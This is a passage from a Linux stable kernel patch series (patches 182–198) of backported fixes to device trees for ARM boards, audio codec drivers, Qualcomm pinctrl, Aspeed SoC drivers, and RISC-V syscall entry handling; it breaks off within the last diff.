Rename the thermal zone in qcom/qrb5165-rb5.dts to remove this override.
--- arch/arm64/boot/dts/qcom/qrb5165-rb5.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm64/boot/dts/qcom/qrb5165-rb5.dts +1 -1
@@ -121,7 +121,7 @@ }; }; - pm8150l-thermal { + pm8150l-pcb-thermal { polling-delay-passive = <0>; polling-delay = <0>; thermal-sensors = <&pm8150l_adc_tm 1>;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 182/234 arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4
In reply to Greg Kroah-HartmanFrom: Christopher Obbard <[email protected]>
[ Upstream commit cee572756aa2cb46e959e9797ad4b730b78a050b ]
There is some instablity with some eMMC modules on ROCK Pi 4 SBCs running in HS400 mode. This ends up resulting in some block errors after a while or after a "heavy" operation utilising the eMMC (e.g. resizing a filesystem). An example of these errors is as follows:
[ 289.171014] mmc1: running CQE recovery
[ 290.048972] mmc1: running CQE recovery
[ 290.054834] mmc1: running CQE recovery
[ 290.060817] mmc1: running CQE recovery
[ 290.061337] blk_update_request: I/O error, dev mmcblk1, sector 1411072 op 0x1:(WRITE) flags 0x800 phys_seg 36 prio class 0
[ 290.061370] EXT4-fs warning (device mmcblk1p1): ext4_end_bio:348: I/O error 10 writing to inode 29547 starting block 176466)
[ 290.061484] Buffer I/O error on device mmcblk1p1, logical block 172288
[ 290.061531] Buffer I/O error on device mmcblk1p1, logical block 172289
[ 290.061551] Buffer I/O error on device mmcblk1p1, logical block 172290
[ 290.061574] Buffer I/O error on device mmcblk1p1, logical block 172291
[ 290.061592] Buffer I/O error on device mmcblk1p1, logical block 172292
[ 290.061615] Buffer I/O error on device mmcblk1p1, logical block 172293
[ 290.061632] Buffer I/O error on device mmcblk1p1, logical block 172294
[ 290.061654] Buffer I/O error on device mmcblk1p1, logical block 172295
[ 290.061673] Buffer I/O error on device mmcblk1p1, logical block 172296
[ 290.061695] Buffer I/O error on device mmcblk1p1, logical block 172297Disabling the Command Queue seems to stop the CQE recovery from running, but doesn't seem to improve the I/O errors. Until this can be investigated further, disable HS400 mode on the ROCK Pi 4 SBCs to at least stop I/O errors from occurring.
While we are here, set the eMMC maximum clock frequency to 1.5MHz to follow the ROCK 4C+.
--- arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi +2 -2
@@ -645,9 +645,9 @@ }; &sdhci { + max-frequency = <150000000>; bus-width = <8>; - mmc-hs400-1_8v; - mmc-hs400-enhanced-strobe; + mmc-hs200-1_8v; non-removable; status = "okay"; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 183/234 arm64: dts: rockchip: Disable HS400 for eMMC on ROCK 4C+
In reply to Greg Kroah-HartmanFrom: Christopher Obbard <[email protected]>
[ Upstream commit 2bd1d2dd808c60532283e9cf05110bf1bf2f9079 ]
There is some instablity with some eMMC modules on ROCK Pi 4 SBCs running in HS400 mode. This ends up resulting in some block errors after a while or after a "heavy" operation utilising the eMMC (e.g. resizing a filesystem). An example of these errors is as follows:
[ 289.171014] mmc1: running CQE recovery
[ 290.048972] mmc1: running CQE recovery
[ 290.054834] mmc1: running CQE recovery
[ 290.060817] mmc1: running CQE recovery
[ 290.061337] blk_update_request: I/O error, dev mmcblk1, sector 1411072 op 0x1:(WRITE) flags 0x800 phys_seg 36 prio class 0
[ 290.061370] EXT4-fs warning (device mmcblk1p1): ext4_end_bio:348: I/O error 10 writing to inode 29547 starting block 176466)
[ 290.061484] Buffer I/O error on device mmcblk1p1, logical block 172288
[ 290.061531] Buffer I/O error on device mmcblk1p1, logical block 172289
[ 290.061551] Buffer I/O error on device mmcblk1p1, logical block 172290
[ 290.061574] Buffer I/O error on device mmcblk1p1, logical block 172291
[ 290.061592] Buffer I/O error on device mmcblk1p1, logical block 172292
[ 290.061615] Buffer I/O error on device mmcblk1p1, logical block 172293
[ 290.061632] Buffer I/O error on device mmcblk1p1, logical block 172294
[ 290.061654] Buffer I/O error on device mmcblk1p1, logical block 172295
[ 290.061673] Buffer I/O error on device mmcblk1p1, logical block 172296
[ 290.061695] Buffer I/O error on device mmcblk1p1, logical block 172297Disabling the Command Queue seems to stop the CQE recovery from running, but doesn't seem to improve the I/O errors. Until this can be investigated further, disable HS400 mode on the ROCK Pi 4 SBCs to at least stop I/O errors from occurring.
--- arch/arm64/boot/dts/rockchip/rk3399-rock-4c-plus.dts | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-)
arch/arm64/boot/dts/rockchip/rk3399-rock-4c-plus.dts +1 -2
@@ -548,9 +548,8 @@ &sdhci { max-frequency = <150000000>; bus-width = <8>; - mmc-hs400-1_8v; + mmc-hs200-1_8v; non-removable; - mmc-hs400-enhanced-strobe; status = "okay"; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 184/234 ARM: dts: imx6: phytec: fix RTC interrupt level
In reply to Greg Kroah-HartmanFrom: Andrej Picej <[email protected]>
[ Upstream commit 762b700982a1e0f562184363f19860c3b9bdd0bf ]
RTC interrupt level should be set to "LOW". This was revealed by the introduction of commit:
f181987ef477 ("rtc: m41t80: use IRQ flags obtained from fwnode")
which changed the way IRQ type is obtained.
--- arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi +1 -1
@@ -182,7 +182,7 @@ pinctrl-0 = <&pinctrl_rtc_int>; reg = <0x68>; interrupt-parent = <&gpio7>; - interrupts = <8 IRQ_TYPE_LEVEL_HIGH>; + interrupts = <8 IRQ_TYPE_LEVEL_LOW>; status = "disabled"; }; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 185/234 ARM: dts: imx: Adjust dma-apbh node name
In reply to Greg Kroah-HartmanFrom: Stefan Wahren <[email protected]>
[ Upstream commit e9f5cd85f1f931bb7b64031492f7051187ccaac7 ]
Currently the dtbs_check generates warnings like this:
$nodename:0: 'dma-apbh@110000' does not match '^dma-controller(@.*)?$'
So fix all affected dma-apbh node names.
Stable-dep-of: be18293e47cb ("ARM: dts: imx: Set default tuning step for imx7d usdhc")
--- arch/arm/boot/dts/imx23.dtsi | 2 +- arch/arm/boot/dts/imx28.dtsi | 2 +- arch/arm/boot/dts/imx6qdl.dtsi | 2 +- arch/arm/boot/dts/imx6sx.dtsi | 2 +- arch/arm/boot/dts/imx6ul.dtsi | 2 +- arch/arm/boot/dts/imx7s.dtsi | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-)
arch/arm/boot/dts/imx23.dtsi +1 -1
@@ -59,7 +59,7 @@ reg = <0x80000000 0x2000>; }; - dma_apbh: dma-apbh@80004000 { + dma_apbh: dma-controller@80004000 { compatible = "fsl,imx23-dma-apbh"; reg = <0x80004000 0x2000>; interrupts = <0 14 20 0
arch/arm/boot/dts/imx28.dtsi +1 -1
@@ -78,7 +78,7 @@ status = "disabled"; }; - dma_apbh: dma-apbh@80004000 { + dma_apbh: dma-controller@80004000 { compatible = "fsl,imx28-dma-apbh"; reg = <0x80004000 0x2000>; interrupts = <82 83 84 85
arch/arm/boot/dts/imx6qdl.dtsi +1 -1
@@ -150,7 +150,7 @@ interrupt-parent = <&gpc>; ranges; - dma_apbh: dma-apbh@110000 { + dma_apbh: dma-controller@110000 { compatible = "fsl,imx6q-dma-apbh", "fsl,imx28-dma-apbh"; reg = <0x00110000 0x2000>; interrupts = <0 13 IRQ_TYPE_LEVEL_HIGH>,
arch/arm/boot/dts/imx6sx.dtsi +1 -1
@@ -209,7 +209,7 @@ power-domains = <&pd_pu>; }; - dma_apbh: dma-apbh@1804000 { + dma_apbh: dma-controller@1804000 { compatible = "fsl,imx6sx-dma-apbh", "fsl,imx28-dma-apbh"; reg = <0x01804000 0x2000>; interrupts = <GIC_SPI 13 IRQ_TYPE_LEVEL_HIGH>,
arch/arm/boot/dts/imx6ul.dtsi +1 -1
@@ -164,7 +164,7 @@ <0x00a06000 0x2000>; }; - dma_apbh: dma-apbh@1804000 { + dma_apbh: dma-controller@1804000 { compatible = "fsl,imx6q-dma-apbh", "fsl,imx28-dma-apbh"; reg = <0x01804000 0x2000>; interrupts = <0 13 IRQ_TYPE_LEVEL_HIGH>,
arch/arm/boot/dts/imx7s.dtsi +1 -1
@@ -1257,7 +1257,7 @@ }; }; - dma_apbh: dma-apbh@33000000 { + dma_apbh: dma-controller@33000000 { compatible = "fsl,imx7d-dma-apbh", "fsl,imx28-dma-apbh"; reg = <0x33000000 0x2000>; interrupts = <GIC_SPI 12 IRQ_TYPE_LEVEL_HIGH>,
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 186/234 ARM: dts: imx: Set default tuning step for imx7d usdhc
In reply to Greg Kroah-HartmanFrom: Xiaolei Wang <[email protected]>
[ Upstream commit be18293e47cbca7c6acee9231fc851601d69563a ]
If the tuning step is not set, the tuning step is set to 1. For some sd cards, the following Tuning timeout will occur.
Tuning failed, falling back to fixed sampling clock
mmc0: Tuning failed, falling back to fixed sampling clock
So set the default tuning step. This refers to the NXP vendor's commit below:
https://github.com/nxp-imx/linux-imx/blob/lf-6.1.y/
arch/arm/boot/dts/imx7s.dtsi#L1216-L1217
--- arch/arm/boot/dts/imx7s.dtsi | 6 ++++++ 1 file changed, 6 insertions(+)
arch/arm/boot/dts/imx7s.dtsi +6 -0
@@ -1184,6 +1184,8 @@ <&clks IMX7D_USDHC1_ROOT_CLK>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-step = <2>; + fsl,tuning-start-tap = <20>; status = "disabled"; };
@@ -1196,6 +1198,8 @@ <&clks IMX7D_USDHC2_ROOT_CLK>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-step = <2>; + fsl,tuning-start-tap = <20>; status = "disabled"; };
@@ -1208,6 +1212,8 @@ <&clks IMX7D_USDHC3_ROOT_CLK>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-step = <2>; + fsl,tuning-start-tap = <20>; status = "disabled"; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 187/234 arm64: dts: imx8mm: Drop CSI1 PHY reference clock configuration
In reply to Greg Kroah-HartmanFrom: Fabio Estevam <[email protected]>
[ Upstream commit f02b53375e8f14b4c27a14f6e4fb6e89914fdc29 ]
The CSI1 PHY reference clock is limited to 125 MHz according to:
i.MX 8M Mini Applications Processor Reference Manual, Rev. 3, 11/2020 Table 5-1. Clock Root Table (continued) / page 307
Slice Index n = 123 .
Currently the IMX8MM_CLK_CSI1_PHY_REF clock is configured to be fed directly from 1 GHz PLL2 , which overclocks them. Instead, drop the configuration altogether, which defaults the clock to 24 MHz REF clock input, which for the PHY reference clock is just fine.
Based on a patch from Marek Vasut for the imx8mn.
--- arch/arm64/boot/dts/freescale/imx8mm.dtsi | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-)
arch/arm64/boot/dts/freescale/imx8mm.dtsi +3 -4
@@ -1221,10 +1221,9 @@ compatible = "fsl,imx8mm-mipi-csi2"; reg = <0x32e30000 0x1000>; interrupts = <GIC_SPI 17 IRQ_TYPE_LEVEL_HIGH>; - assigned-clocks = <&clk IMX8MM_CLK_CSI1_CORE>, - <&clk IMX8MM_CLK_CSI1_PHY_REF>; - assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_1000M>, - <&clk IMX8MM_SYS_PLL2_1000M>; + assigned-clocks = <&clk IMX8MM_CLK_CSI1_CORE>; + assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_1000M>; + clock-frequency = <333000000>; clocks = <&clk IMX8MM_CLK_DISP_APB_ROOT>, <&clk IMX8MM_CLK_CSI1_ROOT>,
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 188/234 ARM: dts: imx: Set default tuning step for imx6sx usdhc
In reply to Greg Kroah-HartmanFrom: Xiaolei Wang <[email protected]>
[ Upstream commit 0a2b96e42a0284c4fc03022236f656a085ca714a ]
If the tuning step is not set, the tuning step is set to 1. For some sd cards, the following Tuning timeout will occur.
Tuning failed, falling back to fixed sampling clock
So set the default tuning step. This refers to the NXP vendor's commit below:
https://github.com/nxp-imx/linux-imx/blob/lf-6.1.y/
arch/arm/boot/dts/imx6sx.dtsi#L1108-L1109
--- arch/arm/boot/dts/imx6sx.dtsi | 6 ++++++ 1 file changed, 6 insertions(+)
arch/arm/boot/dts/imx6sx.dtsi +6 -0
@@ -980,6 +980,8 @@ <&clks IMX6SX_CLK_USDHC1>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-start-tap = <20>; + fsl,tuning-step= <2>; status = "disabled"; };
@@ -992,6 +994,8 @@ <&clks IMX6SX_CLK_USDHC2>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-start-tap = <20>; + fsl,tuning-step= <2>; status = "disabled"; };
@@ -1004,6 +1008,8 @@ <&clks IMX6SX_CLK_USDHC3>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-start-tap = <20>; + fsl,tuning-step= <2>; status = "disabled"; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 189/234 ASoC: max98363: dont return on success reading revision ID
In reply to Greg Kroah-HartmanFrom: Bard Liao <[email protected]>
[ Upstream commit 385311101538b071a487a9245e01349e3a68ed2c ]
max98363_io_init needs to keep going when we read revision ID successfully.
--- sound/soc/codecs/max98363.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-)
sound/soc/codecs/max98363.c +5 -4
@@ -191,10 +191,10 @@ static int max98363_io_init(struct sdw_slave *slave)pm_runtime_get_noresume (dev); ret =regmap_read (max98363->regmap,MAX98363_R21FF_REV_ID , ®); -if (!ret) { +if (!ret)dev_info (dev,"Revision ID: %X\n" , reg); -return ret; - } +else + goto out;if (max98363->first_hw_init) {regcache_cache_bypass (max98363->regmap, false);
@@ -204,10 +204,11 @@ static int max98363_io_init(struct sdw_slave *slave) max98363->first_hw_init = true; max98363->hw_init = true; +out:pm_runtime_mark_last_busy (dev);pm_runtime_put_autosuspend (dev); -return 0 ; +return ret; }#define MAX98363_RATES SNDRV_PCM_RATE_8000_192000
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 190/234 arm64: dts: imx93: Fix anatop node size
In reply to Greg Kroah-HartmanFrom: Alexander Stein <[email protected]>
[ Upstream commit 78e869dd8b2ba19765ac9b05cdea3e432d1dc188 ]
Although the memory map of i.MX93 reference manual rev. 2 claims that analog top has start address of 0x44480000 and end address of 0x4448ffff, this overlaps with TMU memory area starting at 0x44482000, as stated in section 73.6.1.
As PLL configuration registers start at addresses up to 0x44481400, as used by clk-imx93, reduce the anatop size to 0x2000, so exclude the TMU area but keep all PLL registers inside.
--- arch/arm64/boot/dts/freescale/imx93.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm64/boot/dts/freescale/imx93.dtsi +1 -1
@@ -306,7 +306,7 @@ anatop: anatop@44480000 { compatible = "fsl,imx93-anatop", "syscon"; - reg = <0x44480000 0x10000>; + reg = <0x44480000 0x2000>; }; adc1: adc@44530000 {
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 191/234 ASoC: rt5665: add missed regulator_bulk_disable
In reply to Greg Kroah-HartmanFrom: Zhang Shurong <[email protected]>
[ Upstream commit c163108e706909570f8aa9aa5bcf6806e2b4c98c ]
The driver forgets to call regulator_bulk_disable()
Add the missed call to fix it.
--- sound/soc/codecs/rt5665.c | 2 ++ 1 file changed, 2 insertions(+)
sound/soc/codecs/rt5665.c +2 -0
@@ -4472,6 +4472,8 @@ static void rt5665_remove(struct snd_soc_component *component)struct rt5665_priv *rt5665 =snd_soc_component_get_drvdata (component);regmap_write (rt5665->regmap,RT5665_RESET ,0 ); + +regulator_bulk_disable (ARRAY_SIZE (rt5665->supplies), rt5665->supplies); }#ifdef CONFIG_PM
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 192/234 ASoC: meson: axg-tdm-formatter: fix channel slot allocation
In reply to Greg Kroah-HartmanFrom: Jerome Brunet <[email protected]>
[ Upstream commit c1f848f12103920ca165758aedb1c10904e193e1 ]
When the tdm lane mask is computed, the driver currently fills the 1st lane before moving on to the next. If the stream has less channels than the lanes can accommodate, slots will be disabled on the last lanes.
Unfortunately, the HW distribute channels in a different way. It distribute channels in pair on each lanes before moving on the next slots.
This difference leads to problems if a device has an interface with more than 1 lane and with more than 2 slots per lane.
For example: a playback interface with 2 lanes and 4 slots each (total 8 slots - zero based numbering)
- Playing a 8ch stream:
- All slots activated by the driver
- channel #2 will be played on lane #1 - slot #0 following HW placement
- Playing a 4ch stream:
- Lane #1 disabled by the driver
- channel #2 will be played on lane #0 - slot #2
This behaviour is obviously not desirable.
Change the way slots are activated on the TDM lanes to follow what the HW does and make sure each channel always get mapped to the same slot/lane.
--- sound/soc/meson/axg-tdm-formatter.c | 42 ++++++++++++++++++----------- 1 file changed, 26 insertions(+), 16 deletions(-)
sound/soc/meson/axg-tdm-formatter.c +26 -16
@@ -30,27 +30,32 @@ int axg_tdm_formatter_set_channel_masks(struct regmap *map, struct axg_tdm_stream *ts, unsigned int offset) { -unsigned int val, ch = ts->channels; -unsigned long mask; -int i, j; +unsigned int ch = ts->channels; +u32 val[AXG_TDM_NUM_LANES ]; +int i, j, k; + +/* +* We need to mimick the slot distribution used by the HW to keep the +* channel placement consistent regardless of the number of channel +* in the stream. This is why the odd algorithm below is used. +*/ +memset (val,0 ,sizeof (*val) *AXG_TDM_NUM_LANES );/* * Distribute the channels of the stream over the available slots -* of each TDM lane +* of each TDM lane. We need to go over the 32 slots ... */ -for (i =0 ; i <AXG_TDM_NUM_LANES ; i++) { - val =0 ; - mask = ts->mask[i]; - -for (j =find_first_bit (&mask,32 ); - (j <32 ) && ch; - j =find_next_bit (&mask,32 , j +1 )) { - val |=1 << j; - ch -=1 ; +for (i =0 ; (i <32 ) && ch; i +=2 ) { +/* ... of all the lanes ... */ +for (j =0 ; j <AXG_TDM_NUM_LANES ; j++) { +/* ... then distribute the channels in pairs */ +for (k =0 ; k <2 ; k++) { +if ((BIT (i + k) & ts->mask[j]) && ch) { + val[j] |=BIT (i + k); + ch -=1 ; + } + } } - -regmap_write (map, offset, val); - offset +=regmap_get_reg_stride (map); }/*
@@ -63,6 +68,11 @@ int axg_tdm_formatter_set_channel_masks(struct regmap *map,return -EINVAL ; } +for (i =0 ; i <AXG_TDM_NUM_LANES ; i++) { +regmap_write (map, offset, val[i]); + offset +=regmap_get_reg_stride (map); + } +return 0 ; }EXPORT_SYMBOL_GPL (axg_tdm_formatter_set_channel_masks);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 193/234 ALSA: hda/realtek: Add quirks for HP G11 Laptops
In reply to Greg Kroah-HartmanFrom: Stefan Binding <[email protected]>
[ Upstream commit fb8cce69e5e56eedb35fc4d77b2f099860965859 ]
These HP G11 laptops use Realtek HDA codec combined with 2xCS35L41 Amplifiers using SPI or I2C with External Boost.
Laptop 103c8c26 has been removed as this has been replaced by this new series of laptops.
--- sound/pci/hda/patch_realtek.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-)
sound/pci/hda/patch_realtek.c +7 -1
@@ -9606,7 +9606,13 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = {SND_PCI_QUIRK (0x103c ,0x8b96 ,"HP" ,ALC236_FIXUP_HP_MUTE_LED_MICMUTE_VREF ),SND_PCI_QUIRK (0x103c ,0x8b97 ,"HP" ,ALC236_FIXUP_HP_MUTE_LED_MICMUTE_VREF ),SND_PCI_QUIRK (0x103c ,0x8bf0 ,"HP" ,ALC236_FIXUP_HP_GPIO_LED ), -SND_PCI_QUIRK (0x103c ,0x8c26 ,"HP HP EliteBook 800G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c46 ,"HP EliteBook 830 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c47 ,"HP EliteBook 840 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c48 ,"HP EliteBook 860 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c49 ,"HP Elite x360 830 2-in-1 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c70 ,"HP EliteBook 835 G11" ,ALC287_FIXUP_CS35L41_I2C_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c71 ,"HP EliteBook 845 G11" ,ALC287_FIXUP_CS35L41_I2C_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c72 ,"HP EliteBook 865 G11" ,ALC287_FIXUP_CS35L41_I2C_2_HP_GPIO_LED ),SND_PCI_QUIRK (0x1043 ,0x103e ,"ASUS X540SA" ,ALC256_FIXUP_ASUS_MIC ),SND_PCI_QUIRK (0x1043 ,0x103f ,"ASUS TX300" ,ALC282_FIXUP_ASUS_TX300 ), SND_PCI_QUIRK(0x1043, 0x106d, "Asus K53BE", ALC269_FIXUP_LIMIT_INT_MIC_BOOST),
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 194/234 pinctrl: qcom: Add intr_target_width field to support increased number of interrupt targets
In reply to Greg Kroah-HartmanFrom: Ninad Naik <[email protected]>
[ Upstream commit 9757300d2750ef76f139aa6f5f7eadd61a0de0d3 ]
SA8775 and newer target have added support for an increased number of interrupt targets. To implement this change, the intr_target field, which is used to configure the interrupt target in the interrupt configuration register is increased from 3 bits to 4 bits.
In accordance to these updates, a new intr_target_width member is introduced in msm_pingroup structure. This member stores the value of width of intr_target field in the interrupt configuration register. This value is used to dynamically calculate and generate mask for setting the intr_target field. By default, this mask is set to 3 bit wide, to ensure backward compatibility with the older targets.
--- drivers/pinctrl/qcom/pinctrl-msm.c | 9 ++++++--- drivers/pinctrl/qcom/pinctrl-msm.h | 2 ++ drivers/pinctrl/qcom/pinctrl-sa8775p.c | 1 + 3 files changed, 9 insertions(+), 3 deletions(-)
drivers/pinctrl/qcom/pinctrl-msm.c +6 -3
@@ -1039,6 +1039,7 @@ static int msm_gpio_irq_set_type(struct irq_data *d, unsigned int type)struct gpio_chip *gc =irq_data_get_irq_chip_data (d);struct msm_pinctrl *pctrl =gpiochip_get_data (gc);const struct msm_pingroup *g; +u32 intr_target_mask =GENMASK (2 ,0 );unsigned long flags;bool was_enabled;u32 val;
@@ -1075,13 +1076,15 @@ static int msm_gpio_irq_set_type(struct irq_data *d, unsigned int type)* With intr_target_use_scm interrupts are routed to * application cpu using scm calls. */ +if (g->intr_target_width) + intr_target_mask =GENMASK (g->intr_target_width -1 ,0 ); +if (pctrl->intr_target_use_scm) {u32 addr = pctrl->phys_base[0 ] + g->intr_target_reg;int ret;qcom_scm_io_readl (addr, &val); - - val &= ~(7 << g->intr_target_bit); + val &= ~(intr_target_mask << g->intr_target_bit); val |= g->intr_target_kpss_val << g->intr_target_bit; ret =qcom_scm_io_writel (addr, val);
@@ -1091,7 +1094,7 @@ static int msm_gpio_irq_set_type(struct irq_data *d, unsigned int type) d->hwirq); }else { val =msm_readl_intr_target (pctrl, g); - val &= ~(7 << g->intr_target_bit); + val &= ~(intr_target_mask << g->intr_target_bit); val |= g->intr_target_kpss_val << g->intr_target_bit;msm_writel_intr_target (val, pctrl, g); }
drivers/pinctrl/qcom/pinctrl-msm.h +2 -0
@@ -51,6 +51,7 @@ struct msm_function {* @intr_status_bit: Offset in @intr_status_reg for reading and acking the interrupt * status. * @intr_target_bit: Offset in @intr_target_reg for configuring the interrupt routing. +* @intr_target_width: Number of bits used for specifying interrupt routing target. * @intr_target_kpss_val: Value in @intr_target_bit for specifying that the interrupt from * this gpio should get routed to the KPSS processor. * @intr_raw_status_bit: Offset in @intr_cfg_reg for the raw status bit.
@@ -94,6 +95,7 @@ struct msm_pingroup { unsigned intr_ack_high:1; unsigned intr_target_bit:5; + unsigned intr_target_width:5; unsigned intr_target_kpss_val:5; unsigned intr_raw_status_bit:5; unsigned intr_polarity_bit:5;
drivers/pinctrl/qcom/pinctrl-sa8775p.c +1 -0
@@ -54,6 +54,7 @@ .intr_enable_bit = 0, \ .intr_status_bit = 0, \ .intr_target_bit = 5, \ + .intr_target_width = 4, \ .intr_target_kpss_val = 3, \ .intr_raw_status_bit = 4, \ .intr_polarity_bit = 1, \
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 195/234 soc: aspeed: uart-routing: Use __sysfs_match_string
In reply to Greg Kroah-HartmanFrom: Zev Weiss <[email protected]>
[ Upstream commit e4ad279ae345413d900d791f2f618d0a1cd0d791 ]
The existing use of match_string() caused it to reject 'echo foo' due to the implicitly appended newline, which was somewhat ergonomically awkward and inconsistent with typical sysfs behavior. Using the __sysfs_* variant instead provides more convenient and consistent linefeed-agnostic behavior.
--- drivers/soc/aspeed/aspeed-uart-routing.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/soc/aspeed/aspeed-uart-routing.c +1 -1
@@ -524,7 +524,7 @@ static ssize_t aspeed_uart_routing_store(struct device *dev,struct aspeed_uart_routing_selector *sel =to_routing_selector (attr);int val; - val =match_string (sel->options,-1 , buf); + val =__sysfs_match_string (sel->options,-1 , buf);if (val <0 ) {dev_err (dev,"invalid value \"%s\"\n" , buf);return -EINVAL ;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 196/234 soc: aspeed: socinfo: Add kfree for kstrdup
In reply to Greg Kroah-HartmanFrom: Jiasheng Jiang <[email protected]>
[ Upstream commit 6e6d847a8ce18ab2fbec4f579f682486a82d2c6b ]
Add kfree() in the later error handling in order to avoid memory leak.
--- drivers/soc/aspeed/aspeed-socinfo.c | 1 + 1 file changed, 1 insertion(+)
drivers/soc/aspeed/aspeed-socinfo.c +1 -0
@@ -137,6 +137,7 @@ static int __init aspeed_socinfo_init(void) soc_dev =soc_device_register (attrs);if (IS_ERR (soc_dev)) { +kfree (attrs->machine);kfree (attrs->soc_id);kfree (attrs->serial_number);kfree (attrs);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 197/234 ALSA: hda/realtek - Remodified 3k pull low procedure
In reply to Greg Kroah-HartmanFrom: Kailang Yang <[email protected]>
[ Upstream commit 46cdff2369cbdf8d78081a22526e77bd1323f563 ]
Set spec->en_3kpull_low default to true.
Then fillback ALC236 and ALC257 to false.
Additional note: this addresses a regression caused by the previous fix 69ea4c9d02b7 ("ALSA: hda/realtek - remove 3k pull low procedure"). The previous workaround was applied too widely without necessity, which resulted in the pop noise at PM again. This patch corrects the condition and restores the old behavior for the devices that don't suffer from the original problem.
--- sound/pci/hda/patch_realtek.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-)
sound/pci/hda/patch_realtek.c +5 -2
@@ -10633,6 +10633,7 @@ static int patch_alc269(struct hda_codec *codec) spec = codec->spec; spec->gen.shared_mic_vref_pin =0x18 ; codec->power_save_node =0 ; + spec->en_3kpull_low = true;#ifdef CONFIG_PM codec->patch_ops.suspend = alc269_suspend;
@@ -10715,14 +10716,16 @@ static int patch_alc269(struct hda_codec *codec) spec->shutup = alc256_shutup; spec->init_hook = alc256_init; spec->gen.mixer_nid =0 ;/* ALC256 does not have any loopback mixer path */ -if (codec->bus->pci->vendor ==PCI_VENDOR_ID_AMD ) - spec->en_3kpull_low = true; +if (codec->core.vendor_id ==0x10ec0236 && + codec->bus->pci->vendor !=PCI_VENDOR_ID_AMD ) + spec->en_3kpull_low = false;break ;case 0x10ec0257 : spec->codec_variant =ALC269_TYPE_ALC257 ; spec->shutup = alc256_shutup; spec->init_hook = alc256_init; spec->gen.mixer_nid =0 ; + spec->en_3kpull_low = false;break ;case 0x10ec0215 :case 0x10ec0245 :
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 198/234 riscv: entry: set a0 = -ENOSYS only when syscall != -1
In reply to Greg Kroah-HartmanFrom: Celeste Liu <[email protected]>
[ Upstream commit 52449c17bdd1540940e21511612b58acebc49c06 ]
When we test seccomp with 6.4 kernel, we found errno has wrong value. If we deny NETLINK_AUDIT with EAFNOSUPPORT, after f0bddf50586d, we will get ENOSYS instead. We got same result with commit 9c2598d43510 ("riscv:
entry: Save a0 prior syscall_enter_from_user_mode()").
After analysing code, we think that regs->a0 = -ENOSYS should only be executed when syscall != -1. In __seccomp_filter, when seccomp rejected this syscall with specified errno, they will set a0 to return number as syscall ABI, and then return -1. This return number is finally pass as return number of syscall_enter_from_user_mode, and then is compared with NR_syscalls after converted to ulong (so it will be ULONG_MAX). The condition syscall < NR_syscalls will always be false, so regs->a0 = -ENOSYS is always executed. It covered a0 set by seccomp, so we always get ENOSYS when match seccomp RET_ERRNO rule.
--- arch/riscv/kernel/traps.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
arch/riscv/kernel/traps.c +3 -3
